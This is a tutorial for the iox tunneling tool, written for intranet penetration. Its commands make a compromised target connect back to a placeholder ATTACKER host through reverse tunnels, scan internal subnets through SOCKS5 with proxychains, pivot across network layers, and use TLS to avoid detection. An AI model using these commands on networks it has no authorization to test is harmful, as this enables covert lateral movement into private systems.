iox-proxy

iox Port Forwarding and Intranet Penetration

iox is a lightweight port forwarding/proxy tool—a single binary file, zero dependencies, supporting forward/reverse proxy and SOCKS5. It is used in intranet penetration to build traffic tunnels, allowing the attacking machine to access target intranet services.

Project address:https://github.com/EddieIvan01/iox

Core Concepts

iox has two main modes:

fwd (forward): port forwarding—forwarding traffic from one port to another address
proxy: SOCKS5 proxy—creating a proxy so the attacking machine can access the intranet through the target network

Each mode supportsforward(target listens) andreverse(target actively connects to the attacking machine) two connection methods.

Port Forwarding (fwd)

Forward forwarding (target port → target intranet)

Run on the target machine to forward external access to the intranet:

# 将目标 8888 端口转发到内网 10.0.0.2:3389
iox fwd -l 8888 -r 10.0.0.2:3389
# 攻击机访问 target:8888 就能连到 10.0.0.2:3389 (RDP)

Reverse forwarding (target actively connects out)

When the target cannot be accessed directly (there is a firewall), have the target actively connect to the attacking machine:

# 攻击机：监听两个端口
iox fwd -l 8888 -l 9999

# 目标机：连接攻击机，同时连接内网目标
iox fwd -r ATTACKER:8888 -r 10.0.0.2:3389

# 攻击机访问 localhost:9999 就能连到内网 10.0.0.2:3389

SOCKS5 Proxy (proxy)

Forward proxy

Start SOCKS5 on the target machine, and the attacking machine accesses the intranet through the target proxy:

# 目标机：启动 SOCKS5 代理
iox proxy -l 1080

# 攻击机：配置 proxychains
echo "socks5 TARGET 1080" >> /etc/proxychains.conf
proxychains nmap -sT 10.0.0.0/24

Reverse proxy (most commonly used—the target cannot receive inbound but can make outbound connections)

# 攻击机：监听等待连接
iox proxy -l 9999

# 目标机：反连攻击机
iox proxy -r ATTACKER:9999

# 攻击机通过 localhost:9999 使用 SOCKS5
proxychains nmap -sT 10.0.0.0/24

Encrypted transmission

# 使用 TLS 加密（避免流量特征检测）
iox fwd -l 8888 -r 10.0.0.2:3389 -k

# 反向也支持
iox proxy -r ATTACKER:9999 -k    # 目标
iox proxy -l 9999 -k              # 攻击机

Practical Scenarios

Scenario 1: RDP Intranet Penetration

# 目标已拿 shell，需要 RDP 到内网 10.0.0.2
# 攻击机
iox fwd -l 33890 -l 8888
# 目标机
iox fwd -r ATTACKER:8888 -r 10.0.0.2:3389
# 攻击机 RDP 连接
rdesktop localhost:33890

Scenario 2: Multi-layer Intranet Penetration

# 第一层：已拿 DMZ 主机
iox proxy -l 1080                          # DMZ 上开 SOCKS5
# 第二层：通过 DMZ 代理访问内网主机
proxychains iox proxy -l 1081 -r 10.0.0.5  # 连到第二层

Decision Tree

需要什么类型的隧道？
├─ 简单端口转发（一个端口映射到另一个）→ iox fwd
├─ SOCKS5 全代理（访问整个内网网段）→ iox proxy
├─ 目标有防火墙限制入站 → 反向模式（-r 代替 -l）
├─ 需要加密 → 加 -k 参数
├─ 需要持久化隧道/Web 管理面板 → frp / nps
└─ 只是临时转一个端口 → socat / ssh -L 也行